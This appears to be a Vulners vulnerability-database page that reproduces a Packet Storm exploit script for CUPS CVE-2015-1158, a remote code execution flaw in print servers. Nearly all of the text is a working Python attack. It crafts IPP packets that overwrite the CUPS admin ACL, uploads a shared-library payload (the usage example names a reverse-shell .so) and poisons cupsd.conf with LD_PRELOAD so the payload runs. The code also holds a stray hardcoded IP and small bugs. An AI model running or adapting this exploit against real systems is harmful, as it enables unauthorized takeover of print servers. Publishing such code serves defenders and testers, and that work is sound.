Lucene search
K

CUPS Remote Code Execution

🗓️ 03 Feb 2017 00:00:00Reported by 0x00stringType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 2370 Views

CUPS Remote Code Execution CVE-2015-115

Related
Code
`#!/usr/bin/python  
# Exploit Title: CUPS Reference Count Over Decrement Remote Code Execution  
# Google Dork: n/a  
# Date: 2/2/17  
# Exploit Author: @0x00string  
# Vendor Homepage: cups.org  
# Software Link: https://github.com/apple/cups/releases/tag/release-2.0.2  
# Version: <2.0.3  
# Tested on: Ubuntu 14/15  
# CVE : CVE-2015-1158  
import os, re, socket, random, time, getopt, sys  
from socket import *  
from struct import *  
  
def banner():  
print '''  
lol ty google  
0000000000000  
0000000000000000000 00  
00000000000000000000000000000  
0000000000000000000000000000000  
000000000 0000000000  
00000000 0000000000  
0000000 000000000000  
0000000 000000000000000  
000000 000000000 000000  
0000000 000000000 000000  
000000 000000000 000000  
000000 000000000 000000  
000000 00000000 000000  
000000 000000000 000000  
0000000 000000000 0000000  
000000 000000000 000000  
0000000000000000 0000000  
0000000000000 0000000  
00000000000 00000000  
00000000000 000000000  
0000000000000000000000000000000  
00000000000000000000000000000  
000 0000000000000000000  
0000000000000  
@0x00string  
github.com/0x00string/oldays/CVE-2015-1158.py  
'''  
  
def usage ():  
print ("python script.py <args>\n"  
" -h, --help: Show this message\n"  
" -a, --rhost: Target IP address\n"  
" -b, --rport: Target IPP service port\n"  
" -c, --lib /path/to/payload.so\n"  
" -f, --stomp-only Only stomp the ACL (no postex)\n"  
"\n"  
"Examples:\n"  
"python script.py -a 10.10.10.10 -b 631 -f\n"  
"python script.py -a 10.10.10.10 -b 631 -c /tmp/x86reverseshell.so\n")  
exit()  
  
def pretty (t, m):  
if (t is "+"):  
print "\x1b[32;1m[+]\x1b[0m\t" + m + "\n",  
elif (t is "-"):  
print "\x1b[31;1m[-]\x1b[0m\t" + m + "\n",  
elif (t is "*"):  
print "\x1b[34;1m[*]\x1b[0m\t" + m + "\n",  
elif (t is "!"):  
print "\x1b[33;1m[!]\x1b[0m\t" + m + "\n",  
  
def createDump (input):  
d, b, h = '', [], []  
u = list(input)  
for e in u:  
h.append(e.encode("hex"))  
if e == '0x0':  
b.append('0')  
elif 30 > ord(e) or ord(e) > 128:  
b.append('.')  
elif 30 < ord(e) or ord(e) < 128:  
b.append(e)  
  
i = 0  
while i < len(h):  
if (len(h) - i ) >= 16:  
d += ' '.join(h[i:i+16])  
d += " "  
d += ' '.join(b[i:i+16])  
d += "\n"  
i = i + 16  
else:  
d += ' '.join(h[i:(len(h) - 0 )])  
pad = len(' '.join(h[i:(len(h) - 0 )]))  
d += ' ' * (56 - pad)  
d += ' '.join(b[i:(len(h) - 0 )])  
d += "\n"  
i = i + len(h)  
  
return d  
  
class tcpsock:  
def __init__(self, sock=None):  
if sock is None:  
self.sock = socket(  
AF_INET, SOCK_STREAM)  
self.sock.settimeout(30)  
else:  
self.sock = sock  
def connect(self, host, port):  
self.sock.connect((host, int(port)))  
def tx(self, msg):  
self.sock.send(msg)  
def rx(self):  
tmp = self.sock.recv(1024)  
msg = ""  
while tmp:  
msg += tmp  
tmp = self.sock.recv(1024)  
return msg  
  
def txrx (ip, port, proto, txpacket):  
if (proto is "tcp"):  
sock = tcpsock()  
elif (proto is "udp"):  
sock = udpsock()  
else:  
return None  
sock.connect(ip, port)  
sock.tx(txpacket)  
rxpacket = sock.rx()  
return rxpacket  
  
def locatePrinters(rhost, rport="631"):  
request = ( "GET /printers HTTP/1.1\x0d\x0a"  
"Host: " + rhost + ":" + rport + "\x0d\x0a"  
"User-Agent: CUPS/2.0.2\x0d\x0a"  
"Connection: Close\x0d\x0a"  
"\x0d\x0a")  
response = txrx(rhost, int(rport), "tcp", request)  
if response is not None:  
m = re.search('<TR><TD><A HREF="(.+)">.+</A></TD><TD>.+</TD><TD></TD><TD>.+</TD><TD>', response)  
if m is not None:  
printer = m.group(1)  
pretty("+","printer found: " + printer)  
else:  
pretty("-","no printers")  
exit(1)  
return printer  
  
def preparePayload(libpath):  
with open(libpath, 'rb') as f:  
payload = f.read()  
if payload is not None:  
pretty("*","Payload:\n" + createDump(payload))  
else:  
pretty("-","something went wrong")  
usage()  
return payload  
  
def seedTarget(rhost, rport, printer, payload):  
i = random.randint(1,3)  
reqid = str(pack(">i",(i+2)))  
reqid2 = str(pack(">i",(i+3)))  
printer_uri = "ipp://" + rhost + ":" + str(rport) + printer  
  
create_job_packet = ("\x02\x00"  
"\x00\x05"+  
reqid+  
"\x01"  
"\x47"+"\x00\x12"+"attributes-charset"+"\x00\x05"+"utf-8"  
"\x48"+"\x00\x1b"+"attributes-natural-language"+"\x00\x05"+"en-us"  
"\x45"+"\x00\x0b"+"printer-uri" + str(pack(">h", len(printer_uri))) + printer_uri +  
"\x42"+"\x00\x14"+"requesting-user-name"+"\x00\x04"+"root"  
"\x42"+"\x00\x08"+"job-name"+"\x00\x06"+"badlib"  
"\x02"  
"\x21"+"\x00\x06"+"copies"+"\x00\x04"+"\x00\x00\x00\x01"  
"\x23"+"\x00\x0a"+"finishings"+"\x00\x04"+"\x00\x00\x00\x03"  
"\x42"+"\x00\x10"+"job-cancel-after"+"\x00\x05"+"\x31\x30\x38\x30\x30"  
"\x44"+"\x00\x0e"+"job-hold-until"+"\x00\x0a"+"indefinite"  
"\x21"+"\x00\x0c"+"job-priority"+"\x00\x04"+"\x00\x00\x00\x32"  
"\x42"+"\x00\x0a"+"job-sheets"+"\x00\x04"+"none"+"\x42"+"\x00\x00\x00\x04"+"none"  
"\x21"+"\x00\x09"+"number-up"+"\x00\x04"+"\x00\x00\x00\x01"  
"\x03")  
pretty("*","Sending createJob")  
  
http_header1 = ( "POST " + printer + " HTTP/1.1\x0d\x0a"  
"Content-Type: application/ipp\x0d\x0a"  
"Host: " + rhost + ":" + str(rport) + "\x0d\x0a"  
"User-Agent: CUPS/2.0.2\x0d\x0a"  
"Connection: Close\x0d\x0a"  
"Content-Length: " + str(len(create_job_packet) + 0) + "\x0d\x0a"  
"\x0d\x0a")  
  
createJobRequest = http_header1 + create_job_packet  
blah = txrx(rhost,int(rport),"tcp",createJobRequest)  
if blah is not None:  
m = re.search("ipp://" + rhost + ":" + str(rport) + "/jobs/(\d+)",blah)  
if m is not None:  
jobid = m.group(1)  
else:  
pretty("-","something went wrong");  
exit()  
  
pretty("*","\n" + createDump(blah) + "\n")  
pretty("*", "Sending sendJob")  
  
send_document_packet = ("\x02\x00"  
"\x00\x06"+  
reqid2+  
"\x01"  
"\x47"+"\x00\x12"+"attributes-charset"+"\x00\x05"+"utf-8"  
"\x48"+"\x00\x1b"+"attributes-natural-language"+"\x00\x05"+"en-us"  
"\x45"+"\x00\x0b"+"printer-uri" + str(pack(">h", len(printer_uri))) + printer_uri +  
"\x21"+"\x00\x06"+"job-id"+"\x00\x04"+ str(pack(">i", int(jobid))) +  
"\x42"+"\x00\x14"+"requesting-user-name"+"\x00\x04"+"root"  
"\x42"+"\x00\x0d"+"document-name"+"\x00\x06"+"badlib"  
"\x49"+"\x00\x0f"+"document-format"+"\x00\x18"+"application/octet-stream"  
"\x22"+"\x00\x0d"+"last-document"+"\x00\x01"+"\x01"  
"\x03"+  
payload)  
  
http_header2 = ( "POST " + printer + " HTTP/1.1\x0d\x0a"  
"Content-Type: application/ipp\x0d\x0a"  
"Host: " + rhost + ":" + str(rport) + "\x0d\x0a"  
"User-Agent: CUPS/2.0.2\x0d\x0a"  
"Connection: Close\x0d\x0a"  
"Content-Length: " + str(len(send_document_packet) + 0) + "\x0d\x0a"  
"\x0d\x0a")  
  
sendJobRequest = http_header2 + send_document_packet  
blah2 = txrx("172.20.32.3",631,"tcp",sendJobRequest)  
pretty("*","\n" + createDump(blah) + "\n")  
pretty("*","job id: " + jobid)  
return jobid  
  
def stompACL(rhost, rport, printer):  
i = random.randint(1,1024)  
printer_url = "ipp://" + rhost + ":" + rport + printer  
  
admin_stomp = ("\x02\x00" # vers 2.0  
"\x00\x05"+ # op id: Create Job (0x0005)  
str(pack(">i",(i+1)))+  
"\x01" # op attributes marker  
"\x47" # charset  
"\x00\x12" # name len: 18  
"attributes-charset"  
"\x00\x08" # val len: 8  
"us-ascii"  
"\x48" # natural language  
"\x00\x1b" # name len: 27  
"attributes-natural-language"  
"\x00\x06" # val len: 6  
"/admin"  
"\x45" # printer-uri  
"\x00\x0b" # name len 11  
"printer-uri" +  
str(pack(">h", len(printer_url))) + printer_url +  
"\x42" # name without lang  
"\x00\x14" # name len: 20  
"requesting-user-name"  
"\x00\x06" # val len: 6  
"/admin"  
"\x02" # job attrs marker  
"\x21" # integer  
"\x00\x06" # name len: 6  
"copies"  
"\x00\x04" # val len: 4  
"\x00\x00\x00\x01" # 1  
"\x42" # name w/o lang  
"\x00\x19" # name len: 25  
"job-originating-host-name"  
"\x00\x0c" # val len: 12  
"AAAAAAAAAAAA"  
"\x42" # nwol  
"\x00\x00" # name len: 0  
"\x00\x0c" # val len: 12  
"AAAAAAAAAAAA"  
"\x42" # nwol  
"\x00\x00" # name len: 0  
"\x00\x0c" # val len: 12  
"AAAAAAAAAAAA"  
"\x42" # nwol  
"\x00\x00" # name len: 0  
"\x00\x0c" # val len: 12  
"AAAAAAAAAAAA"  
"\x42" # nwol  
"\x00\x00" # name len: 0  
"\x00\x0c" # val len: 12  
"AAAAAAAAAAAA"  
"\x42" # nwol  
"\x00\x00" # name len: 0  
"\x00\x0c" # val len: 12  
"AAAAAAAAAAAA"  
"\x42" # nwol  
"\x00\x00" # name len: 0  
"\x00\x0c" # val len: 12  
"AAAAAAAAAAAA"  
"\x42" # nwol  
"\x00\x00" # name len: 0  
"\x00\x0c" # val len: 12  
"AAAAAAAAAAAA"  
"\x42" # nwol  
"\x00\x00" # name len: 0  
"\x00\x0c" # val len: 12  
"AAAAAAAAAAAA"  
"\x42" # nwol  
"\x00\x00" # name len: 0  
"\x00\x0c" # val len: 12  
"AAAAAAAAAAAA"  
"\x42" # nwol  
"\x00\x00" # name len: 0  
"\x00\x0c" # val len: 12  
"AAAAAAAAAAAA"  
"\x42" # nwol  
"\x00\x00" # name len: 0  
"\x00\x0c" # val len: 12  
"AAAAAAAAAAAA"  
"\x36" # nwl  
"\x00\x00" # name len: 0  
"\x00\x16" # val len: 22  
"\x00\x06" # length  
"/admin"  
"\x00\x0c"  
"BBBBBBBBBBBB"  
"\x03") # end of attributes  
  
conf_stomp = ("\x02\x00" # vers 2.0  
"\x00\x05"+ # op id: Create Job (0x0005)  
str(pack(">i",(i+2)))+  
"\x01" # op attributes marker  
"\x47" # charset  
"\x00\x12" # name len: 18  
"attributes-charset"  
"\x00\x08" # val len: 8  
"us-ascii"  
"\x48" # natural language  
"\x00\x1b" # name len: 27  
"attributes-natural-language"  
"\x00\x0b" # val len: 11  
"/admin/conf"  
"\x45" # printer-uri  
"\x00\x0b" # name len 11  
"printer-uri" +  
str(pack(">h", len(printer_url))) + printer_url +  
"\x42" # name without lang  
"\x00\x14" # name len: 20  
"requesting-user-name"  
"\x00\x0b" # val len: 11  
"/admin/conf"  
"\x02" # job attrs marker  
"\x21" # integer  
"\x00\x06" # name len: 6  
"copies"  
"\x00\x04" # val len: 4  
"\x00\x00\x00\x01" # 1  
"\x42" # name w/o lang  
"\x00\x19" # name len: 25  
"job-originating-host-name"  
"\x00\x0c" # val len: 12  
"AAAAAAAAAAAA"  
"\x42" # nwol  
"\x00\x00" # name len: 0  
"\x00\x0c" # val len: 12  
"AAAAAAAAAAAA"  
"\x42" # nwol  
"\x00\x00" # name len: 0  
"\x00\x0c" # val len: 12  
"AAAAAAAAAAAA"  
"\x42" # nwol  
"\x00\x00" # name len: 0  
"\x00\x0c" # val len: 12  
"AAAAAAAAAAAA"  
"\x42" # nwol  
"\x00\x00" # name len: 0  
"\x00\x0c" # val len: 12  
"AAAAAAAAAAAA"  
"\x42" # nwol  
"\x00\x00" # name len: 0  
"\x00\x0c" # val len: 12  
"AAAAAAAAAAAA"  
"\x42" # nwol  
"\x00\x00" # name len: 0  
"\x00\x0c" # val len: 12  
"AAAAAAAAAAAA"  
"\x42" # nwol  
"\x00\x00" # name len: 0  
"\x00\x0c" # val len: 12  
"AAAAAAAAAAAA"  
"\x42" # nwol  
"\x00\x00" # name len: 0  
"\x00\x0c" # val len: 12  
"AAAAAAAAAAAA"  
"\x42" # nwol  
"\x00\x00" # name len: 0  
"\x00\x0c" # val len: 12  
"AAAAAAAAAAAA"  
"\x42" # nwol  
"\x00\x00" # name len: 0  
"\x00\x0c" # val len: 12  
"AAAAAAAAAAAA"  
"\x42" # nwol  
"\x00\x00" # name len: 0  
"\x00\x0c" # val len: 12  
"AAAAAAAAAAAA"  
"\x36" # nwl  
"\x00\x00" # name len: 0  
"\x00\x1b" # val len: 27  
"\x00\x0b" # length  
"/admin/conf"  
"\x00\x0c"  
"BBBBBBBBBBBB"  
"\x03") # end of attributes  
  
http_header1 = ("POST " + printer + " HTTP/1.1\x0d\x0a"  
"Content-Type: application/ipp\x0d\x0a"  
"Host: " + rhost + ":" + rport + "\x0d\x0a"  
"User-Agent: CUPS/2.0.2\x0d\x0a"  
"Connection: Close\x0d\x0a"  
"Content-Length: " + str(len(admin_stomp)) + "\x0d\x0a"  
"\x0d\x0a")  
  
http_header2 = ("POST " + printer + " HTTP/1.1\x0d\x0a"  
"Content-Type: application/ipp\x0d\x0a"  
"Host: " + rhost + ":" + rport + "\x0d\x0a"  
"User-Agent: CUPS/2.0.2\x0d\x0a"  
"Connection: Close\x0d\x0a"  
"Content-Length: " + str(len(conf_stomp)) + "\x0d\x0a"  
"\x0d\x0a")  
  
pretty("*","stomping ACL")  
pretty("*",">:\n" + createDump(http_header1 + admin_stomp))  
pretty("*","<:\n" + createDump(txrx(rhost,rport,"tcp",http_header1 + admin_stomp)))  
time.sleep(1)  
pretty("*",">:\n" + createDump(http_header2 + conf_stomp))  
pretty("*","<:\n" + createDump(txrx(rhost,rport,"tcp",http_header2 + conf_stomp)))  
  
http_header_check = ("GET /admin HTTP/1.1\x0d\x0a"  
"Host: " + rhost + ":" + rport + "\x0d\x0a"  
"User-Agent: CUPS/2.0.2\x0d\x0a"  
"Connection: Close\x0d\x0a"  
"\x0d\x0a")  
pretty("*","checking /admin")  
pretty("*",">:\n" + createDump(http_header_check))  
res = txrx(rhost,rport,"tcp",http_header_check)  
pretty("*","<:\n" + createDump(res))  
m = re.search('200 OK', res)  
if m is not None:  
pretty("+","ACL stomp successful")  
else:  
pretty("-","exploit failed")  
exit(1)  
  
  
def getConfig(rhost, rport):  
i = random.randint(1,1024)  
original_config = ""  
http_request = ("GET /admin/conf/cupsd.conf HTTP/1.1\x0d\x0a"  
"Host: " + rhost + ":" + rport + "\x0d\x0a"  
"User-Agent: CUPS/2.0.2\x0d\x0a"  
"Connection: Close\x0d\x0a"  
"\x0d\x0a")  
  
pretty("*","grabbing configuration file....")  
res = txrx(rhost,rport,"tcp",http_request)  
res_array = res.split("\x0d\x0a\x0d\x0a")  
original_config = res_array[1]  
pretty("*","config:\n" + original_config + "\n")  
return original_config  
  
def putConfig(rhost, rport, config):  
http_request = ("PUT /admin/conf/cupsd.conf HTTP/1.1\x0d\x0a"  
"Content-Type: application/ipp\x0d\x0a"  
"Host: " + rhost + ":" + rport + "\x0d\x0a"  
"User-Agent: CUPS/2.0.2\x0d\x0a"  
"Connection: Keep-Alive\x0d\x0a"  
"Content-Length: " + str(len(config)) + "\x0d\x0a"  
"\x0d\x0a")  
pretty("*","overwriting config...")  
pretty("*",">:\n" + createDump(http_request + config))  
pretty("*","<:\n" + createDump(txrx(rhost,rport,"tcp",http_request + config)))  
  
def poisonConfig(config, name):  
config = config + "\x0a\x0aSetEnv LD_PRELOAD /var/spool/cups/d00" + name + "-001\x0a"  
return config  
  
def main():  
rhost = None;  
noshell = None;  
options, remainder = getopt.getopt(sys.argv[1:], 'a:b:c:f:h:', ['rhost=','rport=','lib=','stomp-only','help',])  
for opt, arg in options:  
if opt in ('-h', '--help'):  
usage()  
elif opt in ('-a','--rhost'):  
rhost = arg;  
elif opt in ('-b','--rport'):  
rport = arg;  
elif opt in ('-c','--lib'):  
libpath = arg;  
elif opt in ('-f','--stomp-only'):  
noshell = 1;  
banner()  
if rhost is None or rport is None:  
usage()  
pretty("*","locate available printer")  
printer = locatePrinters(rhost, rport)  
pretty("*","stomp ACL")  
stompACL(rhost, rport, printer)  
if (noshell is not None):  
pretty("*","fin")  
exit(0)  
pretty("*","prepare payload")  
payload = preparePayload(libpath)  
pretty("*","spray payload")  
jobid = seedTarget(rhost, rport, printer, payload)  
pretty("*","grab original config")  
OG_config = getConfig(rhost, rport)  
pretty("*","generate poison config")  
evil_config = poisonConfig(OG_config, jobid)  
pretty("*","upload poison config")  
putConfig(rhost, rport, evil_config)  
pretty("*","fin")  
exit(0);  
  
if __name__ == "__main__":  
main()  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Feb 2017 00:00Current
8.2High risk
Vulners AI Score8.2
EPSS0.29913
2370